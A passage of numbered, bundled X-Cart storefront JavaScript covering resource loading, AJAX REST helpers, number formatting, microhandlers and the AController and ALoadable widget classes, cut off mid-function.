1677 resource = { 1678 url: resource, 1679 widget: '' 1680 }; 1681 } 1682 1683 type = type || xcart.getExtension(resource.url); 1684 1685 if (!resource.url.startsWith('var/theme/custom.css') && xcart.isLoadedResource(resource.url)) { 1686 return; 1687 } 1688 1689 var url = resource.url; 1690 1691 if ('' !== xcart.resourcesCacheTimestamp) { 1692 url = url 1693 + (url.indexOf('?') === -1 ? '?' : '&') 1694 + xcart.resourcesCacheTimestamp; 1695 } 1696 1697 LazyLoad[type](url, function () { 1698 xcart.registerResources([url]); 1699 xcart.trigger('resources.loaded', {file: url, widget: resource.widget}); 1700 deferred.resolve(); 1701 }); 1702 1703 return deferred.promise(); 1704 }, 1705 1706 isLoadedResource: function (url) { 1707 return _.contains(xcart.resources, url); 1708 }, 1709 1710 registerResources: function (list) { 1711 for (var key in list) { 1712 xcart.resources.push(list[key]); 1713 } 1714 }, 1715 1716 parseResources: function (element, uuid) { 1717 var restoreCallback = xcart.microhandlers.supressRun(); 1718 uuid = uuid || ''; 1719 element = jQuery(element); 1720 var resource = element.find('script[data-resource]').first(); 1721 1722 if (resource.length) { 1723 var data = JSON.parse(resource.html()); 1724 resource.remove(); 1725 1726 if (data.css || data.js) { 1727 var cssLoaded = xcart.loadResources(data.css, 'css'); 1728 var jsLoaded = xcart.loadResources(data.js, 'js'); 1729 1730 jQuery.when(cssLoaded, jsLoaded).done( 1731 function () { 1732 restoreCallback(); 1733 xcart.trigger('resources.ready', {widget: data.widget, uuid: uuid}); 1734 } 1735 ); 1736 } else { 1737 restoreCallback(); 1738 xcart.trigger('resources.empty', {widget: data.widget, uuid: uuid}); 1739 } 1740 } 1741 }, 1742 1743 loadResources: function (list, type) { 1744 var deferred = new $.Deferred(); 1745 var promises = []; 1746 1747 $.when(this.getHtmlResourcesLoadPromise()).then(function () { 1748 for (var key in list) { 1749 var resource = list[key]; 1750 1751 promises.push(xcart.loadResource(resource, type)); 1752 } 1753 1754 $.when.apply($, promises).then( 1755 function () { 1756 deferred.resolve(); 1757 } 1758 ); 1759 }); 1760 1761 return deferred.promise(); 1762 }, 1763 1764 parsePreloadedLabels: function (element, uuid) { 1765 element = jQuery(element); 1766 uuid = uuid || ''; 1767 var labelsContainer = element.find('script[data-preloaded-labels]').first(); 1768 1769 if (labelsContainer.length) { 1770 var data = JSON.parse(labelsContainer.html()); 1771 labelsContainer.remove(); 1772 1773 if (data.labels) { 1774 xcart.loadLabels(data.labels); 1775 xcart.trigger('preloaded_labels.ready', {widget: data.widget, uuid: uuid}); 1776 } else { 1777 xcart.trigger('preloaded_labels.empty', {widget: data.widget, uuid: uuid}); 1778 } 1779 } 1780 }, 1781 1782 loadLabels: function (list) { 1783 this.loadLanguageHash(list); 1784 }, 1785 1786 parseObjectString: function (objectString) { 1787 if (typeof (JSON5) !== 'undefined') { 1788 return JSON5.parse(objectString); 1789 } 1790 1791 console.error('Cannot parse JS object from string: JSON5 is not loaded'); 1792 }, 1793 1794 getLayoutOptions: function () {
1795 return window.xliteLayoutOptions || {}; 1796 }, 1797 1798 rest: { 1799 1800 lastResponse: null, 1801 1802 request: function (type, name, id, data, callback) { 1803 if (!type || !name) { 1804 return false; 1805 } 1806 1807 this.lastResponse = null; 1808 1809 var xhr = jQuery.ajax( 1810 { 1811 async: false !== callback, 1812 cache: false, 1813 complete: function (xhr, status) { 1814 return this.callback(xhr, status, callback); 1815 }, 1816 context: this, 1817 data: data, 1818 timeout: 30000, 1819 type: ('get' == type ? 'GET' : 'POST'), 1820 url: URLHandler.buildURL( 1821 { 1822 target: 'rest', 1823 action: type, 1824 name: name, 1825 id: id 1826 } 1827 ) 1828 } 1829 ); 1830 1831 if (false === callback) { 1832 xhr = (this.lastResponse && this.lastResponse.status == 'success') ? this.lastResponse.data : null; 1833 } 1834 1835 return xhr; 1836 }, 1837 1838 get: function (name, id, callback) { 1839 return this.request('get', name, id, null, callback); 1840 }, 1841 1842 post: function (name, id, data, callback) { 1843 return this.request('post', name, id, data, callback); 1844 }, 1845 1846 put: function (name, data, callback) { 1847 return this.request('put', name, null, data, callback); 1848 }, 1849 1850 'delete': function (name, id, callback) { 1851 return this.request('delete', name, id, null, callback); 1852 }, 1853 1854 callback: function (xhr, status, callback) { 1855 try { 1856 var data = jQuery.parseJSON(xhr.responseText); 1857 1858 } catch (e) { 1859 var data = null; 1860 } 1861 1862 if (false === callback) { 1863 xcart.rest.lastResponse = data; 1864 1865 } else if (callback) { 1866 callback(xhr, status, data); 1867 } 1868 } 1869 }, 1870 1871 clearHash: function (paramName) { 1872 var scrollV, scrollH, loc = window.location; 1873 var newHash = ''; 1874 1875 if (paramName !== undefined) { 1876 var pattern = '&?(' + paramName + '(\\[\\S*\\])*=[^&]*&?)'; 1877 var re = new RegExp(pattern, 'gi'); 1878 1879 newHash = loc.hash.replace(re, '').slice(1); 1880 } 1881 ; 1882 1883 // Prevent scrolling by storing the page's current scroll offset 1884 scrollV = document.body.scrollTop; 1885 scrollH = document.body.scrollLeft; 1886 1887 if (newHash !== loc.hash) { 1888 loc.hash = newHash; 1889 } 1890 1891 // Restore the scroll offset, should be flicker free 1892 document.body.scrollTop = scrollV; 1893 document.body.scrollLeft = scrollH; 1894 }, 1895 1896 autoload: function (className, element, extendedClass = null) { 1897 if ('function' === typeof (className)) { 1898 let m = className.toString().match(/function ([^\(]+)/); 1899 1900 m = !m && extendedClass ? extendedClass : m[1]; 1901 window[m] = className; 1902 className = m; 1903 } 1904 1905 var classObject = window[className]; 1906 1907 jQuery(document).ready( 1908 function () { 1909 if ('undefined' != typeof (classObject)) { 1910 if ('undefined' != typeof (element)) { 1911 jQuery(element).each(function (index, el) { 1912 jQuery(el).data('controller', new (classObject)(jQuery(el))); 1913 }); 1914 } else if ('function' == typeof (classObject.autoload)) { 1915 classObject.autoload(); 1916 1917 } else { 1918 new (classObject)(); 1919 } 1920 } 1921 } 1922 ); 1923 }, 1924 1925 // Return value of variable that is given in class attribute: e.g. class="superclass productid-100001 test" 1926 getValueFromClass: function (obj, prefix) { 1927 var m = jQuery(obj) 1928 .attr('class') 1929 .match(new RegExp(prefix + '-([^ ]+)( |$)')); 1930 1931 return m ? m[1] : null; 1932 }, 1933 1934 // Return value of variable that is given in comment block: e.g. <!-- 'productid': '100001', 'var': 'value', -->" 1935 getCommentedData: function (obj, name) { 1936 if (jQuery(obj).get(0)) { 1937 var children = jQuery(obj).get(0).childNodes; 1938 } else { 1939 return name ? null : []; 1940 } 1941 var m = false; 1942 1943 for (var i = 0; i < children.length && !m; i++) { 1944 if ('SCRIPT' == children[i].nodeName && 'text/x-cart-data' == children[i].type) { 1945 m = children[i].innerHTML; 1946 m = m.replace(/^\n\r/, '').replace(/\r\n$/, ''); 1947 try { 1948 m = eval('(' + m + ')'); 1949 } catch (e) { 1950 m = false;
1951 } 1952 } 1953 } 1954 1955 if (m && name) { 1956 m = 'undefined' == typeof (m[name]) ? null : m[name]; 1957 } 1958 1959 return m ? m : null; 1960 }, 1961 1962 // Toggle link text and toggle obj visibility 1963 toggleText: function (link, text, obj) { 1964 if (undefined === link.prevValue) { 1965 link.prevValue = jQuery(link).html(); 1966 } 1967 jQuery(link).html(jQuery(link).html() === text ? link.prevValue : text); 1968 jQuery(obj).toggle(); 1969 }, 1970 1971 setRelArray: function ($obj, relArray) { 1972 $obj.attr('data-rel', _.map(_.pairs(relArray), function (value) { 1973 return value.join(': '); 1974 }).join(', ')); 1975 }, 1976 1977 getRelArray: function ($obj) { 1978 var rel = $obj.attr('data-rel'); 1979 1980 return _.object(_.map(rel.split(','), function (value, key, list) { 1981 return _.map(_.trim(value).split(':'), function (value) { 1982 return _.trim(value); 1983 }); 1984 })); 1985 }, 1986 1987 // Decorate class after page loading 1988 decorate: function (className, methodName, func) { 1989 xcart.bind( 1990 'load', 1991 function () { 1992 decorate(className, methodName, func); 1993 } 1994 ); 1995 }, 1996 1997 // Decorate some class after page loading 1998 decorates: function (list, func) { 1999 xcart.bind( 2000 'load', 2001 function () { 2002 for (var i = 0; i < list.length; i++) { 2003 decorate(list[i][0], list[i][1], func); 2004 } 2005 } 2006 ); 2007 }, 2008 2009 stringToNumber: function (number, dDelim, tDelim) { 2010 if ('' !== tDelim) { 2011 number = number.replace(new RegExp('\\' + tDelim, 'g'), ''); 2012 } 2013 2014 var a = number.split(dDelim); 2015 2016 return parseFloat(a[0] + '.' + a[1]); 2017 }, 2018 2019 numberToString: function (number, dDelim, tDelim, precision) { 2020 dDelim = dDelim || '.'; 2021 tDelim = tDelim || ''; 2022 precision = precision || 0; 2023 2024 precision = Math.max(parseInt(precision), 0); 2025 2026 number = this.round(number, precision).toString(); 2027 /* 2028 Author: Robert Hashemian 2029 http://www.hashemian.com/ 2030 2031 You can use this code in any manner so long as the author's name, 2032 Web address and this disclaimer is kept intact. 2033 ********************************************************/ 2034 2035 var a = number.split('.'); 2036 var x = a[0]; // decimal 2037 var y = a[1]; // fraction 2038 var z = ''; 2039 2040 if (typeof (x) != 'undefined') { 2041 // reverse the digits. regexp works from left to right. 2042 for (var i = x.length - 1; i >= 0; i--) { 2043 z += x.charAt(i); 2044 } 2045 2046 // add separators. but undo the trailing one, if there 2047 z = z.replace(/(\d{3})/g, '$1' + tDelim); 2048 2049 if (z.slice(-tDelim.length) == tDelim) { 2050 z = z.slice(0, -tDelim.length); 2051 } 2052 2053 x = ''; 2054 2055 // reverse again to get back the number 2056 for (i = z.length - 1; i >= 0; i--) { 2057 x += z.charAt(i); 2058 } 2059 2060 // add the fraction back in, if it was there 2061 if (typeof (y) != 'undefined' && y.length > 0) { 2062 x += dDelim + y + this.repeat('0', precision - y.length); 2063 2064 } else if (precision > 0) { 2065 x += dDelim + this.repeat('0', precision); 2066 } 2067 } 2068 2069 return x; 2070 }, 2071 2072 getExtension: function (path) { 2073 return path.slice((path.lastIndexOf('.') - 1 >>> 0) + 2); 2074 }, 2075 2076 repeat: function (s, n) { 2077 var a = []; 2078 while (a.length < n) { 2079 a.push(s); 2080 } 2081 2082 return a.join(''); 2083 }, 2084 2085 round: function (number, precision) { 2086 precision = precision || 0; 2087 precision = Math.max(parseInt(precision), 0); 2088 2089 var pow = Math.pow(10, precision); 2090 2091 return Math.round(number * pow) / pow; 2092 }, 2093 2094 loadWidgetsCollection: function (base, collectionName, params, restoreCallback) { 2095 this.get( 2096 URLHandler.buildURL(array_merge({ 2097 'target': 'widgets_collection', 2098 'action': 'get', 2099 'widget': collectionName 2100 }, params)), 2101 function (XMLHttpRequest, textStatus, data) { 2102 try { 2103 data = JSON.parse(data); 2104 for (var key in data) { 2105 jQuery('.' + data[key].view, jQuery(base)).replaceWith(data[key].content); 2106// xcart.unshadowWidget(base, '.' + data[key].view); 2107 } 2108 restoreCallback(); 2109 2110 } catch (error) { 2111 console.log(error.message); 2112 } 2113 } 2114 ); 2115 }, 2116 2117 shadowCollection: function (base, collection) { 2118 for (key in collection) { 2119 jQuery(collection[key], jQuery(base)).after('<div class="single-progress-mark"></div>'); 2120 } 2121 }, 2122 2123 unshadowWidget: function (base, widget) { 2124 jQuery('.single-progress-mark', jQuery(widget, jQuery(base)).parent()).remove(); 2125 }, 2126 2127 getURLParam: function (name) { 2128 name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]'); 2129 var regexS = '[\\?&]' + name + '=([^&#]*)'; 2130 var regex = new RegExp(regexS); 2131 var results = regex.exec(window.location.href); 2132 if (results == null) { 2133 return ''; 2134 } else { 2135 return results[1]; 2136 } 2137 }, 2138 2139 getUrlParams: function (url) { 2140 if (_.isUndefined(url)) { 2141 url = window.location.search; 2142 } 2143 2144 if (url.indexOf('?') >= 0) { 2145 url = url.substr(url.indexOf('?') + 1); 2146 } 2147 2148 var searchParams = new URLSearchParams(url); 2149 2150 var result = []; 2151 for (const [key, value] of searchParams) { 2152 result[key] = searchParams.get(key); 2153 } 2154 return result; 2155 }, 2156 2157 getTarget: function () { 2158 return xliteConfig.target; 2159 }, 2160 2161 getFormIdString: function () { 2162 return xliteConfig.form_id_name + '=' + xliteConfig.form_id; 2163 }, 2164 2165 /** 2166 * @param {Element} el 2167 * @param {string} selector 2168 * @return {Array<Element>} 2169 */ 2170 parents: (el, selector) => { 2171 const parents = []; 2172 2173 while ((el = el.parentNode) && el !== document) { 2174 if (el.matches(selector) || !selector) { 2175 parents.push(el); 2176 } 2177 } 2178 2179 return parents; 2180 } 2181}; 2182 2183// HTTP requester detection 2184try { 2185 const xhr = window.ActiveXObject ? new ActiveXObject('Microsoft.XMLHTTP') : new XMLHttpRequest() 2186 xcart.isRequesterEnabled = !!xhr 2187} catch (e) { 2188} 2189 2190// Common onready event handler 2191jQuery(document).ready( 2192 function () { 2193 xcart.isReady = true; 2194 xcart.trigger('load'); 2195 for (var i = 0; i < xcart.savedEvents.length; i++) { 2196 xcart.trigger(xcart.savedEvents[i].name, xcart.savedEvents[i].params); 2197 } 2198 xcart.savedEvents = []; 2199 } 2200); 2201 2202xcart.isDeveloperMode = xliteConfig.developer_mode; 2203 2204/** 2205 * Common functions 2206 */ 2207 2208// Check - specified object is HTML element or not 2209function isElement(obj, type) { 2210 return obj && typeof (obj.tagName) != 'undefined' && obj.tagName.toLowerCase() == type; 2211} 2212 2213jQuery.extend({ 2214 getQueryParameters: function (str) { 2215 return (str || document.location.search).replace(/(^\?)/, '').split('&').map(function (n) { 2216 return n = n.split('='), this[n[0]] = n[1], this; 2217 }.bind({}))[0]; 2218 } 2219}); 2220 2221xcart.bind( 2222 'load', 2223 function () { 2224 jQuery('input[type=checkbox]').each( 2225 function () { 2226 var checkbox = this; 2227 2228 jQuery(checkbox).bind( 2229 'click', 2230 function () { 2231 return !jQuery(checkbox).prop('readonly'); 2232 } 2233 ); 2234 } 2235 ); 2236 2237 jQuery('.model-form-buttons .button:first-child button').addClass('btn-warning'); 2238 } 2239); 2240 2241/* Microhandlers */ 2242 2243xcart.microhandlers = {}; 2244 2245xcart.microhandlers.list = {}; 2246 2247xcart.microhandlers.initialRunned = false;
2248xcart.microhandlers.supressRunOnAdd = false; 2249 2250xcart.microhandlers.supressRun = function () { 2251 var previous = this.supressRunOnAdd; 2252 this.supressRunOnAdd = true; 2253 2254 return _.bind( 2255 function () { 2256 this.supressRunOnAdd = false; 2257 }, 2258 this 2259 ); 2260}; 2261 2262xcart.microhandlers.add = function (name, pattern, handler) { 2263 this.list[name] = { 2264 'pattern': pattern, 2265 'handler': handler 2266 }; 2267 2268 if (this.initialRunned && !this.supressRunOnAdd) { 2269 this.run(name); 2270 } 2271}; 2272 2273xcart.microhandlers.run = function (name, base) { 2274 base = base || document; 2275 2276 if ('undefined' != typeof (this.list[name]) && this.list[name]) { 2277 if (_.isString(this.list[name].pattern)) { 2278 jQuery(this.list[name].pattern, base) 2279 .filter(_.bind(this.filterByMark(name), this)) 2280 .each(this.list[name].handler) 2281 .each(_.bind(this.assignMark(name), this)); 2282 2283 } else if (_.isFunction(this.list[name].pattern)) { 2284 this.list[name].pattern() 2285 .filter(_.bind(this.filterByMark(name), this)) 2286 .each(this.list[name].handler) 2287 .each(_.bind(this.assignMark(name), this)); 2288 } 2289 } 2290}; 2291 2292xcart.microhandlers.runInitial = function () { 2293 this.initialRunned = true; 2294 this.runAll(document); 2295}; 2296 2297xcart.microhandlers.runAll = function (base) { 2298 _.each( 2299 _.keys(this.list), 2300 function (name) { 2301 if (typeof this.run !== 'undefined') { 2302 this.run(name, base); 2303 } 2304 }, 2305 this 2306 ); 2307}; 2308 2309xcart.microhandlers.filterByMark = function (name) { 2310 return function (idx, elm) { 2311 return !jQuery(elm).data('microhandler-' + name); 2312 }; 2313}; 2314 2315xcart.microhandlers.assignMark = function (name) { 2316 return function (idx, elm) { 2317 jQuery(elm).data('microhandler-' + name, true); 2318 }; 2319}; 2320 2321xcart.microhandlers.add( 2322 'BootstrapTooltip', 2323 '[data-toggle="tooltip"]', 2324 function (event) { 2325 jQuery(this).tooltip(); 2326 } 2327); 2328 2329xcart.microhandlers.add( 2330 'BootstrapPopover', 2331 '[data-toggle="popover"]', 2332 function (event) { 2333 if (!_.isUndefined(jQuery(this).startTooltip)) { 2334 jQuery(this).startTooltip(); 2335 } 2336 } 2337); 2338 2339xcart.bind( 2340 'load', 2341 function () { 2342 xcart.microhandlers.runInitial(); 2343 } 2344); 2345 2346xcart.bind( 2347 'loader.loaded', 2348 function (event, widget) { 2349 xcart.microhandlers.runAll(widget.base); 2350 } 2351); 2352 2353xcart.bind( 2354 'vue-form.ready', 2355 function (event, element) { 2356 xcart.microhandlers.runAll(element); 2357 } 2358); 2359 2360if (window.CoreAMD !== undefined) { 2361 define('js/xcart', function () { 2362 return xcart; 2363 }); 2364} else { 2365 document.addEventListener('amd-ready', function (event) { 2366 define('js/xcart', function () { 2367 return xcart; 2368 }); 2369 }); 2370}; 2371/* AUTOGENERATED: xcart.extend.js */ 2372/* vim: set ts=2 sw=2 sts=2 et: */ 2373 2374/** 2375 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 2376 * See https://www.x-cart.com/license-agreement.html for license details. 2377 */ 2378 2379Object.getOwnPropertyDescriptors = function getOwnPropertyDescriptors(obj) { 2380 var descriptors = {}; 2381 for (var prop in obj) { 2382 if (obj.hasOwnProperty(prop)) { 2383 descriptors[prop] = Object.getOwnPropertyDescriptor(obj, prop); 2384 } 2385 } 2386 return descriptors; 2387}; 2388 2389Function.prototype.extend = function (proto) { 2390 var superclass = this; 2391 var constructor; 2392 2393 if (!proto.hasOwnProperty('constructor')) { 2394 Object.defineProperty(proto, 'constructor', { 2395 value: function () { 2396 // Default call to superclass as in maxmin classes 2397 superclass.apply(this, arguments); 2398 }, 2399 writable: true, 2400 configurable: true, 2401 enumerable: false 2402 }); 2403 } 2404 constructor = proto.constructor; 2405 2406 constructor.prototype = Object.create(this.prototype, Object.getOwnPropertyDescriptors(proto)); 2407 2408 constructor.superclass = superclass.prototype; 2409 2410 return constructor; 2411};; 2412/* AUTOGENERATED: xcart.controller.js */ 2413/* vim: set ts=2 sw=2 sts=2 et: */ 2414 2415/** 2416 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 2417 * See https://www.x-cart.com/license-agreement.html for license details. 2418 */ 2419 2420// Abstract controller 2421function AController(base) 2422{ 2423 if (!base) { 2424 2425 // Search base DOM element(s) 2426 base = this.findBase(); 2427 } 2428 2429 if (base) { 2430 2431 if (base.length > 1) { 2432 2433 // Multiple binding 2434 for (var i = 0; i < base.length; i++) { 2435 eval('new ' + this.name + '(jQuery(base[i]))'); 2436 } 2437 2438 } else { 2439 2440 // Simple binding 2441 this.bind(jQuery(base)); 2442 } 2443 } 2444} 2445 2446// Parent class - Base 2447extend(AController, Base); 2448 2449// [ABSTRACT] Controller unique name 2450AController.prototype.name = null; 2451 2452// Base DOM element 2453AController.prototype.base = null; 2454 2455// Find jQuery pattern 2456AController.prototype.findPattern = null; 2457 2458// Check - controller is catch base DOM element or not 2459AController.prototype.isBinded = function() 2460{ 2461 return !!this.base; 2462} 2463 2464// Bind controller to base DOM element 2465AController.prototype.bind = function(base) 2466{ 2467 var result = false;
2468 2469 if (this.name && !this.isBaseCatched(base) && this.detectBase(base)) { 2470 var o = this; 2471 base = jQuery(base); 2472 base.map( 2473 function() { 2474 this.controller = o; 2475 } 2476 ); 2477 this.base = base; 2478 2479 this.initialize(); 2480 2481 result = true; 2482 } 2483 2484 return result; 2485} 2486 2487// Check - controller is binded to base DOM element or not 2488AController.prototype.isBaseCatched = function(base) 2489{ 2490 var result = false; 2491 2492 if ('undefined' != typeof(base.map)) { 2493 base.map( 2494 function() { 2495 if (!result && typeof(this.controller) != 'undefined') { 2496 result = true; 2497 } 2498 } 2499 ); 2500 2501 } else if (typeof(base.controller) != 'undefined') { 2502 result = true; 2503 } 2504 2505 return result; 2506} 2507 2508// [ABSTRACT] Detect base 2509AController.prototype.detectBase = function() 2510{ 2511 return !!this.findPattern; 2512} 2513 2514// [ABSTRACT] Initialize controller 2515AController.prototype.initialize = function() 2516{ 2517} 2518 2519// Find base if controller create without base DOM element specification 2520AController.prototype.findBase = function() 2521{ 2522 return this.findPattern ? jQuery(this.findPattern) : false; 2523}; 2524/* AUTOGENERATED: xcart.loadable.js */ 2525/* vim: set ts=2 sw=2 sts=2 et: */ 2526 2527/** 2528 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 2529 * See https://www.x-cart.com/license-agreement.html for license details. 2530 */ 2531 2532// Constructor 2533function ALoadable(base) 2534{ 2535 ALoadable.superclass.constructor.apply(this, arguments); 2536 2537 if (base && this.checkBase(jQuery(base))) { 2538 this.basePattern = base; 2539 this.base = jQuery(base); 2540 this.loadHandlerCallback = _.bind(this.loadHandler, this); 2541 this.postprocess(true, true); 2542 2543 if (this.listenToHash && (!jQuery.isEmptyObject(hash.get()))) { 2544 jQuery(document).ready(_.bind(this.loadByHash, this)); 2545 } 2546 2547 if (this.replaceState) { 2548 window.addEventListener( "popstate", function ( event ) { 2549 window.location.reload(true); 2550 }); 2551 } 2552 } 2553} 2554 2555extend(ALoadable, Base); 2556 2557// Base element(s) 2558ALoadable.prototype.base = null; 2559 2560// Base pattern 2561ALoadable.prototype.basePattern = null; 2562 2563// Shade flag 2564ALoadable.prototype.isShowModalScreen = false; 2565 2566// Widget loading flag 2567ALoadable.prototype.isLoading = false; 2568 2569// Widget has deferred load operation 2570ALoadable.prototype.deferredLoad = false; 2571 2572// Preload event custom handler 2573ALoadable.prototype.preloadHandler = null; 2574 2575// Postload event custom handler 2576ALoadable.prototype.postloadHandler = null; 2577 2578ALoadable.prototype.listenToHash = false; 2579 2580ALoadable.prototype.listenToHashPrefix = ''; 2581 2582ALoadable.prototype.replaceState = false; 2583 2584ALoadable.prototype.replaceStatePrefix = ''; 2585 2586 2587// Options 2588 2589// Use shade 2590ALoadable.prototype.shadeWidget = true; 2591 2592// Class for shade overlay 2593ALoadable.prototype.shadeClass = null; 2594 2595// Use widget blocking 2596ALoadable.prototype.blockWidget = true; 2597 2598// Update page title from loaded request or not 2599ALoadable.prototype.updatePageTitle = false; 2600 2601// Update breadcrumb last node from loaded request or not 2602ALoadable.prototype.updateBreadcrumb = false;
2603 2604// Widget target 2605ALoadable.prototype.widgetTarget = null; 2606 2607// Widget parameters 2608ALoadable.prototype.widgetParams = null; 2609 2610// Widget class name 2611ALoadable.prototype.widgetClass = null; 2612 2613// Page title element pattern 2614ALoadable.prototype.titlePattern = 'h1'; 2615 2616// Page title element pattern in request's response data 2617ALoadable.prototype.titleRequestPattern = '.ajax-container-loadable'; 2618 2619// Container element pattern in request's response data 2620ALoadable.prototype.containerRequestPattern = 'div.ajax-container-loadable'; 2621 2622ALoadable.prototype.reloadIfError = true; 2623 2624// Check base 2625ALoadable.prototype.checkBase = function(base) 2626{ 2627 var result = 0 < base.length; 2628 2629 if (result) { 2630 base.map( 2631 function() { 2632 if (result && 'undefined' != typeof(this.loadable)) { 2633 result = false; 2634 } 2635 } 2636 ); 2637 } 2638 2639 return result; 2640} 2641 2642// Load widget 2643ALoadable.prototype.doReplaceState = function(params) { 2644 var o = this, origParams = {}; 2645 2646 window.location.search.substring(1).split('&').forEach(function (v) { 2647 var pair = v.split('='); 2648 2649 if ( 2650 !_.isUndefined(pair[0]) 2651 && !_.isUndefined(pair[1]) 2652 && pair[0] !== o.replaceStatePrefix 2653 ) { 2654 // this condition for 'reset filter' 2655 if (jQuery.isEmptyObject(params) && pair[0].indexOf(o.replaceStatePrefix + '[') == 0) { 2656 return; 2657 } 2658 origParams[pair[0]] = pair[1]; 2659 } 2660 }); 2661 2662 var url = window.location.pathname; 2663 var queryString = ''; 2664 params = array_merge(origParams, params || {}); 2665 2666 $.each(params, function (key, value) { 2667 queryString += '&' + key + '=' + value; 2668 }); 2669 2670 if (queryString) { 2671 url += '?'; 2672 } 2673 url += queryString.substring(1); 2674 2675 window.history.pushState(params, 'Filter', url); 2676}; 2677 2678// Load widget 2679ALoadable.prototype.load = function(params) 2680{ 2681 if (this.replaceState) { 2682 this.doReplaceState(params); 2683 } 2684 2685 if (this.listenToHash) { 2686 hash.add(params); 2687 } 2688 2689 if (!xcart.isRequesterEnabled) { 2690 return false; 2691 } 2692 2693 if (this.isLoading) { 2694 this.deferredLoad = true; 2695 return true; 2696 } 2697 2698 this.isLoading = true; 2699 this.deferredLoad = false; 2700 2701 this.lastLoadParams = params; 2702 2703 var url = this.buildWidgetRequestURL(params); 2704 2705 if (this.base) { 2706 this.base.trigger('preload', [this, url]); 2707 2708 if (typeof(this.preloadHandler) == 'function') { 2709 2710 // Call preload event handler 2711 this.preloadHandler.call(this.base); 2712 } 2713 } 2714 2715 var state = { 'widget': this, 'url': url, 'options': this.getLoaderOptions() } 2716 2717 this.triggerVent('preload', state); 2718 2719 this.saveState(); 2720 2721 this.shade(); 2722 2723 state.xhr = xcart.get(state.url, this.loadHandlerCallback, null, state.options); 2724 2725 this.triggerVent('afterload', state); 2726 2727 return state.xhr; 2728}; 2729 2730// Build request widget URL (AJAX) 2731ALoadable.prototype.buildWidgetRequestURL = function(params) 2732{ 2733 return URLHandler.buildURL(this.getParams(params)); 2734}; 2735 2736// [ABSTRACT] Get additional parameters 2737ALoadable.prototype.getParams = function(params) 2738{ 2739 params = params ? params : {}; 2740 2741 // Set widget target and parameters 2742 if ('undefined' == typeof(params.target) && this.widgetTarget) { 2743 params.target = this.widgetTarget; 2744 } 2745 2746 if (this.widgetParams) { 2747 for (var i in this.widgetParams) { 2748 params[i] = this.widgetParams[i]; 2749 } 2750 } 2751 2752 // TODO remove if it will be no use!! 2753 if ('undefined' == typeof(params.sessionCell) && this.sessionCell) { 2754 params.sessionCell = this.sessionCell; 2755 } 2756 2757 if ('undefined' == typeof(params.action)) { 2758 params.action = ''; 2759 } 2760 2761 if ('undefined' == typeof(params.widget) && this.widgetClass) { 2762 params.widget = this.widgetClass; 2763 } 2764 2765 return params; 2766}; 2767 2768// Loader AJAX options 2769ALoadable.prototype.getLoaderOptions = function() 2770{ 2771 return {}; 2772} 2773 2774ALoadable.prototype.createTemporaryContainer = function(data){ 2775 2776 var container = this.getTemporaryContainer(); 2777 2778 container.html(data); 2779 2780 return container; 2781}; 2782 2783// onload handler 2784ALoadable.prototype.loadHandler = function(xhr, s, data) 2785{ 2786 this.isLoading = false; 2787 2788 this.unshade(); 2789 2790 if (false !== data) { 2791 2792 var container = this.createTemporaryContainer(data); 2793 2794 var uuid = _.uniqueId(); 2795 2796 xcart.bind(['resources.ready', 'resources.empty'], _.bind( 2797 function(event, args){ 2798 if (args.uuid === uuid) { 2799 var content = this.extractRequestData(container); 2800 container.remove(); 2801 if (this.isValidContent(content)) { 2802 var processed = false;
2803 processed = this.placeRequestData(content); 2804 this.finishLoadHandler(processed); 2805 } 2806 } 2807 }, 2808 this) 2809 ); 2810 2811 xcart.parsePreloadedLabels(container, uuid); 2812 xcart.parseResources(container, uuid); 2813 } 2814}; 2815 2816 2817// Check loaded content 2818ALoadable.prototype.finishLoadHandler = function(processed) 2819{ 2820 jQuery(this.base).data('controller', this); 2821 2822 this.postprocess(processed); 2823 2824 if (!this.isLoading && this.deferredLoad) { 2825 this.deferredLoad = false; 2826 this.load(this.lastLoadParams); 2827 2828 } else if (processed) { 2829 if (typeof(this.postloadHandler) == 'function') { 2830 this.postloadHandler.call(this.base, xhr); 2831 } 2832 2833 this.triggerVent('loaded', this); 2834 xcart.trigger('loader.loaded', this); 2835 2836 } else { 2837 2838 this.triggerVent('loadingError', {'widget': this, 'arguments': arguments}); 2839 if (this.reloadIfError) { 2840 setTimeout( 2841 _.bind( 2842 function() { 2843 this.load(this.lastLoadParams); 2844 }, 2845 this 2846 ), 2847 300 2848 ); 2849 } 2850 } 2851} 2852 2853// Check loaded content 2854ALoadable.prototype.isValidContent = function(content) 2855{ 2856 return 0 < jQuery(this.containerRequestPattern, content).length; 2857}; 2858 2859// Get temporary container 2860ALoadable.prototype.getTemporaryContainer = function() 2861{ 2862 var div = document.createElement('DIV'); 2863 div.style.display = 'none'; 2864 jQuery('body').get(0).appendChild(div); 2865 return jQuery(div); 2866}; 2867 2868// Extract widget data 2869ALoadable.prototype.extractRequestData = function(div) 2870{ 2871 div.find('script[type!="text/x-cart-data"]').first().remove(); 2872 return div; 2873}; 2874 2875// Place request data 2876ALoadable.prototype.placeRequestData = function(box) 2877{ 2878 // Update page title 2879 if (this.updatePageTitle || this.updateBreadcrumb) { 2880 this.replacePageTitle(box); 2881 } 2882 2883 box = this.extractContent(box); 2884 2885 //TODO: find any reason to add random class. 2886 var id = 'temporary-ajax-id-' + (new Date()).getTime(); 2887 2888 box.addClass(id); 2889 2890 this.base.trigger('reload', [box]); 2891 2892 if (0 < box.length) { 2893 this.base = this.insertIntoDOM(box); 2894 } else { 2895 this.base.empty(); 2896 } 2897 2898 this.base.removeClass(id); 2899 2900 return true; 2901}; 2902 2903// Extract widget content 2904ALoadable.prototype.extractContent = function(box) 2905{ 2906 box = jQuery(this.containerRequestPattern, box); 2907 if (box.children().eq(0).hasClass('block')) { 2908 box = jQuery('.block', box.eq(0)) 2909 .first() 2910 .find('> .content'); 2911 } 2912 2913 return box.children(); 2914}; 2915 2916// Place parsed request data into DOM 2917ALoadable.prototype.insertIntoDOM = function(box) 2918{ 2919 this.base.replaceWith(box); 2920 return box; 2921}; 2922 2923// Replace page title 2924ALoadable.prototype.replacePageTitle = function(box) 2925{ 2926 var title = jQuery(this.titleRequestPattern, box).eq(0).attr('title'); 2927 if (title) { 2928 this.placeNewPageTitle(title); 2929 } 2930 2931 return title; 2932}; 2933 2934// Place new page title 2935ALoadable.prototype.placeNewPageTitle = function(title) 2936{ 2937 if (this.updatePageTitle) { 2938 